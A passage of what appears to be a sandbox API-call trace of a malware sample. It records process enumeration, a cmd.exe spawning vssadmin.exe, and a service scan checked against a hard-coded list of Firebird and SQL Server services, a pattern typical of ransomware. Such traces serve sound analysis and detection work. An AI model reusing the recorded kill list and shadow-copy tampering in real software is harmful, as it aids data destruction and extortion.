(lpString="petroleum.exe") returned 13 [0036.806] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0036.888] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0036.888] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0036.889] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0036.889] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0036.890] lstrlenW (lpString="batman_oliver.exe") returned 17 [0036.890] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0036.890] lstrlenW (lpString="formation.exe") returned 13 [0036.890] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0036.891] lstrlenW (lpString="whole.exe") returned 9 [0036.891] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0036.892] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0036.892] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0036.892] lstrlenW (lpString="disorder.exe") returned 12 [0036.893] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0036.893] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0036.893] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0036.894] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0036.894] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0036.895] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0036.895] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0036.895] lstrlenW (lpString="perspective.exe") returned 15 [0036.895] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0036.896] lstrlenW (lpString="demand-site.exe") returned 15 [0036.896] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0036.897] lstrlenW (lpString="attachment.exe") returned 14 [0036.897] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0036.898] lstrlenW (lpString="valid-permit.exe") returned 16 [0036.898] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0036.898] lstrlenW (lpString="knights.exe") returned 11 [0036.898] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.899] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.899] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0036.899] lstrlenW (lpString="mobsync.exe") returned 11 [0036.900] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.900] lstrlenW (lpString="dllhost.exe") returned 11 [0036.900] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.901] lstrlenW (lpString="dllhost.exe") returned 11 [0036.901] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0036.902] lstrlenW (lpString="ohbdap.exe") returned 10 [0036.902] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0036.902] lstrlenW (lpString="cmd.exe") returned 7 [0036.902] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0036.903] lstrlenW (lpString="conhost.exe") returned 11 [0036.903] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0036.904] lstrlenW (lpString="vssadmin.exe") returned 12 [0036.904] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0036.904] lstrlenW (lpString="VSSVC.exe") returned 9 [0036.904] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0036.905] CloseHandle (hObject=0x1b0) returned 1 [0036.905] Sleep (dwMilliseconds=0x1f4) [0037.712] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fbc0 [0037.712] EnumServicesStatusExW (in: hSCManager=0x52fbc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0037.712] GetLastError () returned 0xea [0037.712] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x3fe18a0 [0037.712] EnumServicesStatusExW (in: hSCManager=0x52fbc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fe18a0, cbBufSize=0x123e, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fe18a0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0037.713] CloseServiceHandle (hSCObject=0x52fbc0) returned 1 [0037.713] lstrlenW (lpString="Appinfo") returned 7 [0037.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0037.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0037.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0037.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0037.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0037.713] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0037.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.713] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0037.713] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0037.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0037.714] lstrlenW (lpString="AudioSrv") returned 8 [0037.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0037.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0037.714] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0037.714] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0037.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0037.714] lstrlenW (lpString="BFE") returned 3 [0037.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0037.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0037.714] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0037.714] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0037.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0037.714] lstrlenW (lpString="CryptSvc") returned 8 [0037.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0037.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0037.714] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0037.714] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0037.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0037.714] lstrlenW (lpString="CscService") returned 10 [0037.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0037.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0037.714] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0037.714] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0037.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0037.714] lstrlenW (lpString="DcomLaunch") returned 10 [0037.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.714] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0037.714] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0037.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0037.714] lstrlenW (lpString="Dhcp") returned 4 [0037.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0037.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0037.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0037.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0037.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0037.715] lstrlenW (lpString="Dnscache") returned 8 [0037.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0037.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0037.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0037.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0037.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0037.715] lstrlenW (lpString="DPS") returned 3 [0037.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0037.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0037.715] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0037.715] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0037.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0037.715] lstrlenW (lpString="eventlog") returned 8 [0037.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0037.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0037.715] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0037.715] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0037.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0037.715] lstrlenW (lpString="EventSystem") returned 11 [0037.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0037.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0037.715] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0037.715] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0037.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0037.715] lstrlenW (lpString="gpsvc") returned 5 [0037.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0037.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0037.715] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0037.715] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0037.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0037.715] lstrlenW (lpString="iphlpsvc") returned 8 [0037.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.715] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0037.715] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0037.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0037.716] lstrlenW (lpString="LanmanServer") returned 12 [0037.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0037.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0037.716] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0037.716] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0037.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0037.716] lstrlenW (lpString="LanmanWorkstation") returned 17 [0037.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.716] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0037.716] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0037.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0037.716] lstrlenW (lpString="lmhosts") returned 7 [0037.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0037.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0037.716] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0037.716] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0037.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0037.716] lstrlenW (lpString="MMCSS") returned 5 [0037.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0037.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0037.716] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0037.716] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0037.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0037.716] lstrlenW (lpString="MpsSvc") returned 6 [0037.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0037.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0037.716] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0037.716] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0037.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0037.716] lstrlenW (lpString="Netman") returned 6 [0037.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0037.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0037.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0037.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0037.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0037.717] lstrlenW (lpString="netprofm") returned 8 [0037.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0037.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0037.717] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0037.717] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0037.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0037.717] lstrlenW (lpString="NlaSvc") returned 6 [0037.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0037.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0037.717] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0037.717] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0037.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0037.717] lstrlenW (lpString="nsi") returned 3 [0037.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0037.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0037.717] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0037.717] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0037.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0037.717] lstrlenW (lpString="PcaSvc") returned 6 [0037.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0037.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0037.717] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0037.717] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0037.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0037.717] lstrlenW (lpString="PlugPlay") returned 8 [0037.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0037.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0037.717] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0037.717] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0037.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0037.718] lstrlenW (lpString="Power") returned 5 [0037.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0037.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0037.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0037.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0037.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0037.718] lstrlenW (lpString="ProfSvc") returned 7 [0037.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0037.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0037.718] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0037.718] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0037.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0037.718] lstrlenW (lpString="RpcEptMapper") returned 12 [0037.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.718] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0037.718] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0037.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0037.718] lstrlenW (lpString="RpcSs") returned 5 [0037.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0037.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0037.718] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0037.718] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0037.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0037.718] lstrlenW (lpString="SamSs") returned 5 [0037.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0037.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0037.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0037.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0037.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0037.718] lstrlenW (lpString="Schedule") returned 8 [0037.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0037.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0037.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0037.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0037.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0037.719] lstrlenW (lpString="SENS") returned 4 [0037.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0037.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0037.719] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0037.719] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0037.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0037.719] lstrlenW (lpString="ShellHWDetection") returned 16 [0037.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.719] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0037.719] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0037.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0037.719] lstrlenW (lpString="Spooler") returned 7 [0037.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0037.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0037.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0037.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0037.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0037.719] 